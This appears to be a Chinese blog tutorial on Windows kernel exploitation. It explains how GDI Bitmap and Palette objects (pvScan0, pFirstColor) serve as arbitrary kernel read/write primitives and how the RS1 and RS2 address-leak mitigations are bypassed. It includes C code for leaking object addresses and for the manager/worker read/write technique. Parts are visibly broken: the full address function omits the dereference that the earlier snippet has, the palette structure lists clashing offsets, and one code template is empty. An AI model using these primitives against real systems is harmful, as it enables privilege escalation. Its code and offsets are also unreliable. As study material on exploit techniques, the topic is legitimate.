0x00 前言
普通显示器是由像素点构成的,显示时采用扫描的方法,这种显示器被称为位映像设备。位映象,就是指一个二维的像素矩阵,Bitmap(位图) 就是采用位映象方法显示和存储的图象。
当一幅图中每个像素点赋予不同的 RGB 值时,就能呈现不同的颜色,用来指定对应颜色的 RGB 表就被称为Palette(调色板 )。
0x01 Bitmap
1.1 基础概念
CreateBitmap
HBITMAP CreateBitmap(
[in] int nWidth, // 位图宽度,像素为单位
[in] int nHeight, // 位图高度,像素为单位
[in] UINT nPlanes, // 设备使用的颜色位面数
[in] UINT nBitCount, // 用来区分单个像素点颜色的位数
[in] const VOID *lpBits // 指向颜色数据数组的指针
如果成功返回创建位图的句柄,如果创建BitMap时 lpBits不指定 则会额外创建池块处理PvScan0。
SURFACE OBJECT
随着位图一样被创建的还有 SURFACE OBJECT
typedef struct {
BASEOBJECT64 BaseObject; // 0x00
SURFOBJ64 SurfObj; // 0x18
[...]
} SURFACE64;
它包含了两个结构体: BASEOBJECT 和 SURFOBJ。SURFOBJ.pvScan0 还指向一块名为 Pixel Data 的数据区。
SURFOBJ 官方有详细的定义:
typedef struct {
ULONG64 dhsurf; // 0x00
ULONG64 hsurf; // 0x08
ULONG64 dhpdev; // 0x10
ULONG64 hdev; // 0x18
SIZEL sizlBitmap; // 0x20
ULONG64 cjBits; // 0x28
ULONG64 pvBits; // 0x30
ULONG64 pvScan0; // 0x38
ULONG32 lDelta; // 0x40
ULONG32 iUniq; // 0x44
ULONG32 iBitmapFormat; // 0x48
USHORT iType; // 0x4C
USHORT fjBitmap; // 0x4E
} SURFOBJ64; // sizeof = 0x50
GetbitmapBits 和 SetBitmapBits
Pixel Data 可以由 GetbitmapBits 和 SetBitmapBits 来控制读写。
LONG GetBitmapBits(
[in] HBITMAP hbit, // 位图的句柄
[in] LONG cb, // 要从位图复制到缓冲区的字节数
[out] LPVOID lpvBits // 指向缓冲区的指针
);
LONG SetBitmapBits(
[in] HBITMAP hbm, // 位图的句柄
[in] DWORD cb, // 指定参数lpBits指向的数组的字节数
[in] const VOID *pvBits // 指向包含指定位图颜色数据的字节数组的指针
);
1.2 Bitmap 任意地址读写(<1607)
Pixel Data 可以由 GetbitmapBits 和 SetBitmapBits 来控制读写。pvScan0 和它指向的数据区 Pixel Data 都在内核空间,因此利用GetbitmapBits 和 SetBitmapBits 就可以做到内核空间的读写,但是并不能做到任意地址读写。
如果存在一次任意地址写的机会,就可以通过修改 pvScan0 来获得任意地址读写的能力。
获取 pvScan0 地址的方法
-
NtCurrentTeb 来获得 teb 的基址
-
x64 下 teb 偏移 0x60 获得 peb 的基址
- peb 0xf8 偏移处获得 GdiSharedHandleTable 地址
-
GdiSharedHandleTable 是一个 GDICELL 结构体数组,成员对应进程中的每个GDI对象,数组索引是CreateBitmap 返回的句柄 hBitmap的低十六位,即
index = hBitmap & 0xFFFF
-
GDICELL 结构如下:
typedef struct _GDI_CELL{
PVOID64 pKernelAddress; // 0x00
USHORT wProcessId; // 0x08
USHORT wCount; // 0x0a
USHORT wUpper; // 0x0c
USHORT wType; // 0x0e
PVOID64 pUserAddress; // 0x10
} GDICELL64; // sizeof = 0x18
pKernelAddress = PEB.GdiSharedHandleTable + (handle & 0xffff) * sizeof(GDICELL64)
-
pKernelAddress 指向 BASEOBJECT ,SURFOBJ 在偏移 0x18 处,
SURFOBJ = BASEOBJECT + 0x18
-
pvScan0 在 SURFOBJ 0x38 偏移处,
pvScan0 = SURFOBJ + 0x38
整体代码为:
DWORD64 tebAddr = NtCurrentTeb();
DWORD64 pebAddr = *(PDWORD64)((PUCHAR)tebAddr + 0x60);
DWORD64 gdiSharedHandleTableAddr = *(PDWORD64)((PUCHAR)pebAddr + 0xf8);
DWORD64 pKernelAddress = gdiSharedHandleTableAddr + ((DWORD64) hBitmap & 0xffff) * 0x18;
DWORD64 surfObj = *(PDWORD64)pKernelAddress +0x18;
DWORD64 pvScan0Addr = surfObj + 0x38;
整体利用思路
-
CreateBitmap 创建两个 Bitmap,获得两个句柄 hManager 和 hWorker
-
获取 hManager 和 hWorker 的 pvScan0 地址
-
利用一次任意地址写的能力,使 hManager 的 pvScan0 的值为 hWorker 的 pvScan0 的地址,即 *hManager_pvScan0 = hWorker_pvScan0
-
任意写(完成向 0x1234 地址写入 0xAAAA):
- 利用 SetBitmapBits 向 hManager_pvScan0 指向的地址写入 0x1234
- 利用 SetBitmapBits 向 hWorker_pvScan0 指向的地址写入 0xAAAA
- 任意读(完成读取 0x1234 地址的值)
- 利用 SetBitmapBits 向 hManager_pvScan0 指向的地址写入 0x1234
- 利用 GetBitmapBits 读取 hManager_pvScan0 指向的地址的值
代码如下:
#include <stdio.h>
#include <Windows.h>
DWORD64 GetpvScan0Addr(HBITMAP hBitmap)
{
DWORD64 tebAddr = NtCurrentTeb();
DWORD64 pebAddr = *(PDWORD64)((PUCHAR)tebAddr + 0x60);
DWORD64 gdiSharedHandleTableAddr = *(PDWORD64)((PUCHAR)pebAddr + 0xf8);
DWORD64 pKernelAddress = gdiSharedHandleTableAddr + ((DWORD64)hBitmap & 0xffff) * 0x18;
DWORD64 surfObj = pKernelAddress + 0x18;
DWORD64 pvScan0Addr = surfObj + 0x38;
return pvScan0Addr;
}
VOID ReadOOB(HBITMAP hManager,HBITMAP hWorker,DWORD64 writeAddr, LPVOID readValue, int len)
{
SetBitmapBits(hManager,len,&writeAddr);
GetBitmapBits(hWorker, len, readValue);
}
VOID WriteOOB(HBITMAP hManager, HBITMAP hWorker, DWORD64 writeAddr, LPVOID writeValue, int len)
{
SetBitmapBits(hManager, len, &writeAddr);
SetBitmapBits(hWorker, len, writeValue);
}
int main()
{
HBITMAP hManager = CreateBitmap(0x20, 0x20, 0x1, 0x8, NULL);
HBITMAP hWorker = CreateBitmap(0x20, 0x20, 0x1, 0x8, NULL);
DWORD64 hManager_pvScan0 = GetpvScan0Addr(hManager);
DWORD64 hWorker_pvScan0 = GetpvScan0Addr(hWorker);
}
1.3 绕过 RS1 缓解措施(<1703)
Windows RS1 对 Bitmap 做了缓解措施,GdiSharedHandleTable
不再透露内核地址。,因此通过 pKernelAddress 找到 pvScan0 地址的方法失效了。
Windows 中共有三种类型的对象,分别是 User object、GDI object、Kernel object。Bitmap 属于 GDI object,存在换页对象池:
Accelerator table 对象属于 User object,也存在于换页会话池中。Accelerator table 对象地址可以通过 pKernel 获得,因此如果可以让 Bitmap 对象重用 Accelerator table 对象,就可以再次找到 pvScan0 地址。
获取对象地址
user32.dll 有一个全局变量结构—gSharedInfo,结构如下
typedef struct _SHAREDINFO
{
PSERVERINFO psi;
PHANDLEENTRY aheList;
ULONG_PTR HeEntrySize;
PDISPLAYINFO pDisplayInfo;
ULONG_PTR ulSharedDelta;
WNDMSG awmControl[27];
WNDMSG awmControl[31];
WNDMSG DefWindowMsgs;
WNDMSG DefWindowSpecMsgs;
} SHAREDINFO, *PSHAREDINFO;
ahelist 是一个指向一张结构为 USER_HANDLE_ENTRY 的表,其结构如下:
typedef struct _USER_HANDLE_ENTRY {
void* pKernel;
union
{
PVOID pi;
PVOID pti;
PVOID ppi;
};
BYTE type;
BYTE flags;
WORD generation;
} USER_HANDLE_ENTRY, * PUSER_HANDLE_ENTRY;
首地址就指向 pKernel,与 GDICELL 结构数组中的 pKernelAddress 一样,通过相同的计算方式就可以获得该对象地址。
对象重用
类似堆喷的手法,创建多个 Accelerator table 对象再销毁,再创建 Bitmap 对象,使其复用。
1.4 绕过 RS2 缓解措施(<1709)
微软在 RS2 把 HADNLE_ENRTY结构体的pkernel 禁掉了,因此通过 Accelerator table 重用的方式也就失效了。
微软的缓解措施要去绕过,其本质也是泄露 Windows 对象,释放再申请 Bitmap,从而泄露 Bitmap 对象的地址。
这里就涉及到两个概念,一个是窗口菜单名 lpszMenuName,一个是 HMValidateHandle。
HMValidateHandle 可以通过传入窗口句柄,获得在桌面堆的 tagWnd 指针,通过这个指针可以泄露出内核地址(详情见https://ryze-t.com/posts/2021/09/08/HMValidateHandle.html)。
lpszMenuName 指向的是存放菜单名的 paged pool,通过 tagWnd 找到 lpszMenuName 对象的地址,类似于 Accelerator table 的形式获取到 pvScan0 的地址。
0x02 Palette
Bitmap 的问题在 RS3(1709) 终于被解决,于是又出现了新的解决办法—Palette,Palette 的利用方式与 Bitmap相似
1.1 基础概念
Palette 结构如下:
typedef struct _PALETTE64
{
BASEOBJECT64 BaseObject; // 0x00
FLONG flPal; // 0x18
ULONG32 cEntries; // 0x1C
ULONG32 ulTime; // 0x20
HDC hdcHead; // 0x24
ULONG64 hSelected; // 0x28,
ULONG64 cRefhpal; // 0x30
ULONG64 cRefRegular; // 0x34
ULONG64 ptransFore; // 0x3c
ULONG64 ptransCurrent; // 0x44
ULONG64 ptransOld; // 0x4C
ULONG32 unk_038; // 0x38
ULONG64 pfnGetNearest; // 0x3c
ULONG64 pfnGetMatch; // 0x40
ULONG64 ulRGBTime; // 0x44
ULONG64 pRGBXlate; // 0x48
PALETTEENTRY *pFirstColor; // 0x80
struct _PALETTE *ppalThis; // 0x88
PALETTEENTRY apalColors[3]; // 0x90
}
该结构偏移 0x80 处存在一个指针 pFirstColor,指向的是偏移 0x90 的 4 字节数组 apalColors。
类比与 Bitmap,pFirstColor 就是 pvScan0, apalColors[3] 就是 pixel Data。
PALETTEENTRY 结构如下:
class PALETTEENTRY(Structure):
_fields_ = [
("peRed", BYTE),
("peGreen", BYTE),
("peBlue", BYTE),
("peFlags", BYTE)
]
1.2 CreatePalette
CreatePalette 创建一个逻辑调色板,具体函数用法如下:
HPALETTE CreatePalette(
[in] const LOGPALETTE *plpal
);
LOGPALETTE 结构如下:
typedef struct tagLOGPALETTE {
WORD palVersion; // 0x300
WORD palNumEntries; // palNumEntries = (size-0x90)/4
PALETTEENTRY palPalEntry[1];
} LOGPALETTE, *PLOGPALETTE, *NPLOGPALETTE, *LPLOGPALETTE;
函数使用模板如下:
1 |
|
1.3 GetPaletteEntries/SetPaletteEntries
与 Bitmap 类似,Palette 中也有类似 API,让我们可以操作 apalColors[3]。
UINT GetPaletteEntries(
[in] HPALETTE hpal, // palette 句柄
[in] UINT iStart, // 要提取的逻辑调色板中的第一项
[in] UINT cEntries, // 要提取的逻辑调色板中的项数
[out] LPPALETTEENTRY pPalEntries // 接受调色项目的PALETTEENTRY结构数组的指针,该数组所含结构的数目至少为nEntries参数指定的数目
);
UINT SetPaletteEntries(
[in] HPALETTE hpal, // palette 句柄
[in] UINT iStart, // 要设置的逻辑调色板中的第一项
[in] UINT cEntries, // 要设置的逻辑调色板中的项数
[in] const PALETTEENTRY *pPalEntries // 指向包含RGB值和标志的PALETTEENTRY结构数组的第一个元素
);
1.4 利用思路
整体利用思路与 Bitmap 类似。
新建两个 Palette object:hWorker 和 hManager,利用堆喷射的手法获取到两个对象的pFirstColor指针的内核地址,将hManager的pFirstColor指针指向hWorker的pFirstColor指针的存放地址,利用 SetPaletteEntries 将 hWorker.pFirstColor 修改为 0x1234,利用 SetPaletteEntries 往 0x1234 中写入 0xABCD;利用 SetPaletteEntries 将 hWorker.pFirstColor 修改为 0x4321,利用 GetPaletteEntries 从 0x4321 中读取相应值。